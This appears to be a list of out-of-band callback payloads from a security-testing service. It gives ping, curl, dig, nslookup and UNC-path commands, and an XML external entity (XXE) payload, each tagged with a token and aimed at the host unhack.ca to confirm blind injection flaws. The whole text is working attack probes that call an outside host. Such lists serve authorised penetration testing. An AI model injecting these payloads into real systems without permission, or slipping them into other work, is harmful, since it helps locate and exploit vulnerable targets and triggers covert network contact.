$ ping -c1 -p 005ba5e66674c04527bf0938ecfea100 unhack.ca
 

$ curl http://unhack.ca/p/5ba5e66674c04527bf0938ecfea1
 

$ dig 5ba5e66674c04527bf0938ecfea1 @unhack.ca
 

$ dig 5ba5e66674c04527bf0938ecfea1.ns.unhack.ca
 

C:\> nslookup 5ba5e66674c04527bf0938ecfea1 unhack.ca
 

C:\> type \\unhack.ca\5ba5e66674c04527bf0938ecfea1\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5ba5e66674c04527bf0938ecfea1">]>
    <foo>&xxe;</foo>